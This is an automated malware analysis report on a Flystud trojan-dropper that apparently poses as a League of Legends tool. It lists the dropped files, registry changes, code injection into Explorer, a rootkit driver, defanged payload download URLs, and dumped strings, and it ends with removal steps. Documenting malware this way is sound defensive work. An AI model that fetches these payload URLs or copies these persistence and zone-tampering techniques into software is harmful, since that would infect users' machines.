Trojan-Dropper.Win32.Flystud.d (Kaspersky), Gen:Variant.Strictor.10499 (B) (Emsisoft), Gen:Variant.Strictor.10499 (AdAware), Trojan.Win32.FlyStudio.FD, TrojanFlyStudio.YR (Lavasoft MAS)Behaviour: Trojan-Dropper, Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 3e1728ecf385ad20bab6279d5cd58898
SHA1: 7b74ec92a3960c047f855e190aea11b8b51b4dc1
SHA256: f030e921167ca306c9417f8fb39f642785801a7b93e63e75b2d4c79add9f72cd
SSDeep: 98304:RA280LQsm1vH 2mbBG1y52svD/D donCYUV:uzRvHN2BG1a7/A1Yc
Size: 3202666 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2000-05-19 13:11:55
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-Dropper. Trojan program, intended for stealth installation of other malware into user's system.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
ping.exe:1976
LMIns.exe:340
ÖñÓ°LOL»»·ôÊÓ¾à.exe:224
%original file name%.exe:320
The Trojan injects its code into the following process(es):
Explorer.EXE:1572
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process LMIns.exe:340 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%WinDir%\Setupsti.log (14023 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%WinDir%\inf\oem10.inf (2 bytes)
%WinDir%\setupapi.log (3392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P5X9PT08\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\39HFPMMG\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\AZWHE3OF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3N5HN08H\desktop.ini (67 bytes)
%WinDir%\inf\oem10.PNF (11641 bytes)
%WinDir%\hllog.txt (36 bytes)
%WinDir%\_ntdll.bak (4545 bytes)
%System%\drivers\SET3.tmp (27 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl (0 bytes)
%System%\drivers\SET3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (0 bytes)
The process %original file name%.exe:320 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\E_4\krnln.fnr (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ÖñÓ°LOL»»·ôÊÓ¾à.exe (7972 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\E_4\shell.fne (57 bytes)
Registry activity
The process ping.exe:1976 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 B8 A3 2C 90 25 00 FE 7E 5D DA EF 2C 1D 26 2A"
The process LMIns.exe:340 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"FSFilter Activity Monitor" = "04 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\System\CurrentControlSet\Services\Mslmedia]
"DebugFlags" = "0"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"_lm_delself_.bat" = "_lm_delself_"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem10.inf" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem10.PNF" = "1"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "94 8F 5C 83 06 7C EA 66 B6 A8 BF 8C E8 80 36 A3"
[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances]
"DefaultInstance" = "Mslmedia Instance"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances\Mslmedia Instance]
"Altitude" = "370030"
"Flags" = "0"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The process ÖñÓ°LOL»»·ôÊÓ¾à.exe:224 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD BF A5 06 6B 95 E9 9B 4B A4 D6 F7 73 B4 5E 82"
The process %original file name%.exe:320 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "75 73 B0 21 34 2D 80 0A 50 DE 33 9B A5 18 34 3E"
Dropped PE files
MD5 | File path |
---|---|
97c8fe752e354b2945e4c593a87e4a8b | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\E_4\krnln.fnr |
d63851f89c7ad4615565ca300e8b8e27 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\E_4\shell.fne |
ac0f04b85a1cfd50dbac571e6efe7fea | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ÖñÓ°LOL»»·ôÊÓ¾à.exe |
27d9ed8cb8b62d1e0a8e5ace6cf52e2f | c:\WINDOWS\_ntdll.bak |
325bb26842fc7ccc1fcce2c457317f3e | c:\WINDOWS\system32\drivers\Mslmedia.sys |
325bb26842fc7ccc1fcce2c457317f3e | c:\WINDOWS\system32\drivers\msjclock.sys |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
Using the driver "%System%\DRIVERS\Mslmedia.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
ping.exe:1976
LMIns.exe:340
ÖñÓ°LOL»»·ôÊÓ¾à.exe:224
%original file name%.exe:320 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%WinDir%\Setupsti.log (14023 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%WinDir%\inf\oem10.inf (2 bytes)
%WinDir%\setupapi.log (3392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P5X9PT08\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\39HFPMMG\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\AZWHE3OF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3N5HN08H\desktop.ini (67 bytes)
%WinDir%\inf\oem10.PNF (11641 bytes)
%WinDir%\hllog.txt (36 bytes)
%WinDir%\_ntdll.bak (4545 bytes)
%System%\drivers\SET3.tmp (27 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\E_4\krnln.fnr (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ÖñÓ°LOL»»·ôÊÓ¾à.exe (7972 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\E_4\shell.fne (57 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 19868 | 20480 | 4.51528 | 15c1f09b5a84212473d3312136f61984 |
.rdata | 24576 | 2634 | 4096 | 2.46987 | c3a429c9401d144a06bbf6c66f26e739 |
.data | 28672 | 8024 | 8192 | 1.98312 | 391dfe9979de8fe0fe40df3f14303242 |
.ecode | 36864 | 4096 | 4096 | 3.11561 | dd0555631ceaf30c86b63ebb73afd81f |
.rsrc | 40960 | 928 | 4096 | 1.37632 | ba4c9b6b5ffe780d4a1a650201700687 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://hlsys.oss-cn-shenzhen.aliyuncs.com/updatever1.rar | |
hxxp://hlsys.oss-cn-shenzhen.aliyuncs.com/wkmde.rar | |
hxxp://hlupdate.liu1xia.com/updatever1.rar | 120.25.112.8 |
hxxp://hlupdate.liu1xia.com/wkmde.rar | 120.25.112.8 |
hlsoft7.liu1xia.com | 120.25.122.145 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /updatever1.rar HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Host: hlupdate.liu1xia.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: AliyunOSS
Date: Fri, 17 Jun 2016 11:16:28 GMT
Content-Type: application/octet-stream
Content-Length: 42921
Connection: keep-alive
x-oss-request-id: 5763DC0C7FBF6737C73B68D5
x-oss-bucket-storage-type: standard
Accept-Ranges: bytes
ETag: "18642651E2C0B6D82D7577994400BB41"
Last-Modified: Tue, 17 May 2016 11:20:22 GMT
x-oss-object-type: Normal
x-oss-server-time: 1
x...}xSU.8|.....r....@.(.A......B.........:...........F.n...x/..{u..z....Q.3.i.MAF.~..V..]S.....=.Z.$iaf.....{......g......k............SU.k.........~.f.a....?.l.-...U.{.Z6o.t......}.O..I..x.e..S..?...p[...n.....k...y.s.......O.....X................Y....Y...}..[..\.....[\,\y..>.wu.]N.[.K.._Z.M..p)3...p.......Y..c|....)........u.y.I)..U2....{..[..4Y.....:.e..Aj#...w..D..4.~.t...<i.......;t"N.Q.,.w..-.......?..=.~.\Y..-.....,.......tW.....u......cfH2.......7A.m.5.pf$...[.......s..Vc..kW...9.d5.UVSkFk....*....v.[.P....Y........x.g.BcoQ..)....*q\..'{...zM..[.:...{.......r.0xrj.0|.....F.........A..@l...k.&.).... ]j....PGt[zu.=...ag..^2l.....Q..._....:................)...aK.m.t#Q...g.X.%~aX.L.Y-.....u...&....(,._.o...t.@...^...=6x.N.)X|....6..e......#..k5../[.|.....@e...*`=....x..VSN..P.."5...D.....7../. .8"*_ }*=.kqt.J7Dm..E].d...p..b.\..K.!......V '_O...Q...U.TiJ.....?N.n..Z..e..sH......%..?.M..?m..!..V.|..g.h8.$...G....H.:.........M.Z...\s..Gai.kLW..i5..Y...2.W........"H$...l.|O#Gy........_,G.l.........l..5(.N.'.=.............e.....{1.....3.....S...L.$..u*..r.m..x.EHw.Y...s........$..@. )...htU....%....;A...Fc.ff.H..1.t....T....d...g....8.... ..P...../.3.Jw....%.$.2.tk......../{=..d....`3k..@..0....X...!UP.. ou!)........J.mdc3.-x...........n.7...?x.K......5x9........p.F..:.H:.5:.Rbti.J.Z.....J(.R:y...,.I..Z[g\^..h.......e).=.D.......*iK A:...............VT^d....f.nTe@........Z.p....su...#d.Z[.......~.N..qM..v..<.ap..X.....*..R......`.....'.wfO,.f... .z.G.....<..d...7.D..q....Wz..........|!..N`M.H.%...j
<<< skipped >>>
GET /wkmde.rar HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Host: hlupdate.liu1xia.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: AliyunOSS
Date: Fri, 17 Jun 2016 11:16:30 GMT
Content-Type: application/octet-stream
Content-Length: 370936
Connection: keep-alive
x-oss-request-id: 5763DC0E7FBF6737C73B6A74
x-oss-bucket-storage-type: standard
Accept-Ranges: bytes
ETag: "6425654B78B76B36BB26D98E1643C16F"
Last-Modified: Tue, 17 May 2016 11:20:23 GMT
x-oss-object-type: Normal
x-oss-server-time: 1
.*`....p..0P/....0.P`..0.p......P..`..@.......0....0`..@.0..p.......p..M!x...a.h..0....r....!>..D.R.0".~..N.4..`...U..]Z.0..`.. c..k...(.......h.FN.M.DX. .........hV...Y.'.bY........4.g.....t..Q^.SI.H.A.....8..e.........w...@...p0@..u. ..%....f. .p@......1.QI0.j........0.GM.p.....`!@.P.0....@B... @.......Pp.@.P..B.04.../2`..... .` ..P@... ..0P..... `....P.0.....` ..@......0@.`. `.`0 ....PpP.@..0...A.,...@.p.P...PP.0.`pP . ..pp. ....P.0 P.@...0.P.p.. ...`.@..`..`0.0P0P.0.0.P .t.8....P.1.0...p..@... ..pp.p..p. .....n".1.Q.... p...p.b.0.....`0P.@........@.....apP.(.....Q..d.@.@........0...@...@....Rc@`......`..0r p.$... ....@... 0..P`........rw...`aP...0.V....P ...@0...P...`pp.P.... `...@ @`p... . .ppP.`p..P.P.P.p..`0..P.@0....@.@..p. ....`..........P.``P...@.....@.....0..p. @.... ....@0.@....0..0..`.....00@.... ....P.. . @.pP..@....P.. @.. .....`....p..p.@......p.................@...`..p.0....@p.@ ....p..p.. .Pp. ..p...@p....@.. ..p . . . ..@.PP....@...0P.P.P.0...`P...@@p......`.P..`.p...@... . p.p.....`p. [."...<.\<<..,\.H.....|.\\L.....k!C.l..|L.,....LK..$S.x..../5.....<..\.l.<..L.L...4.(...W.V.`.......x...{..."..~. {'....p\l...|L.L.|..$6K.Tt. .!LT.!.............k8......`1",@..B.@.......\\...<..X;.ap.!P.@..AH.!.c.......#...P{4...@Ho.0..g....1..X8..D.7.p/a..p....@.....0...,..._[..tTI......#...t.....l..\......G.......q...X.60...D v..D.../x{..@d......V...A...@.4.X.........8.V..!.......PG.t..ppP...5....8~.0.c.d..<`....v@p.pp..t0.._O......`.......p..P)...lr..\,........L4......G.a..T......
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
ÖñÓ°LOL»»·ôÊÓ¾à .exe_224:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
hCrT
hCrT
3hCrT
3hCrT
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
kernel32.dll
kernel32.dll
shlwapi.dll
shlwapi.dll
dbghelp.dll
dbghelp.dll
advapi32.dll
advapi32.dll
RegCloseKey
RegCloseKey
RegCreateKeyA
RegCreateKeyA
RegOpenKeyA
RegOpenKeyA
RegDeleteKeyA
RegDeleteKeyA
RegEnumKeyA
RegEnumKeyA
\Game\hid.dll
\Game\hid.dll
@.reloc
@.reloc
user32.dll
user32.dll
GetAsyncKeyState
GetAsyncKeyState
League of Legends.exe
League of Legends.exe
TenRpcs.dll
TenRpcs.dll
\Air\assets\images\champions\*.jpg
\Air\assets\images\champions\*.jpg
%d&&'
%d&&'
123456789
123456789
00003333
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
iphlpapi.dll
iphlpapi.dll
SHLWAPI.dll
SHLWAPI.dll
MPR.dll
MPR.dll
WINMM.dll
WINMM.dll
WS2_32.dll
WS2_32.dll
VERSION.dll
VERSION.dll
GetProcessHeap
GetProcessHeap
WinExec
WinExec
KERNEL32.dll
KERNEL32.dll
GetKeyState
GetKeyState
RegisterHotKey
RegisterHotKey
UnregisterHotKey
UnregisterHotKey
USER32.dll
USER32.dll
GetViewportOrgEx
GetViewportOrgEx
GDI32.dll
GDI32.dll
WINSPOOL.DRV
WINSPOOL.DRV
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
COMCTL32.dll
COMCTL32.dll
WININET.dll
WININET.dll
GetCPInfo
GetCPInfo
CreateDialogIndirectParamA
CreateDialogIndirectParamA
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GetViewportExtEx
comdlg32.dll
comdlg32.dll
HID.dll
HID.dll
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
.PAVCException@@
.PAVCException@@
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
.PAVCFileException@@
.PAVCFileException@@
: %d]
: %d]
(*.*)|*.*||
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
out.prn
out.prn
(*.prn)|*.prn|
(*.prn)|*.prn|
%d.%d
%d.%d
%d/%d
%d/%d
1.6.9
1.6.9
unsupported zlib version
unsupported zlib version
png_read_image: unsupported transformation
png_read_image: unsupported transformation
%d / %d
%d / %d
Bogus message code %d
Bogus message code %d
libpng error: %s
libpng error: %s
libpng warning: %s
libpng warning: %s
1.1.3
1.1.3
bad keyword
bad keyword
libpng does not support gamma background rgb_to_gray
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
Palette is NULL in indexed image
(%d-%d):
(%d-%d):
%ld%c
%ld%c
%d%d%d
%d%d%d
rundll32.exe shell32.dll,
rundll32.exe shell32.dll,
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÃ
zcÃ
#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX
PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX
:";6;=;};
:";6;=;};
>">)>2>8>
>">)>2>8>
0 0$0(0,0
0 0$0(0,0
=,>0>4>8>
=,>0>4>8>
$0(0,0004080
$0(0,0004080
= =$=(=,=0=4=8=
= =$=(=,=0=4=8=
? ?$?(?,?
? ?$?(?,?
:$:*:0:6:
:$:*:0:6:
5%6U6~6
5%6U6~6
0 111=1]1
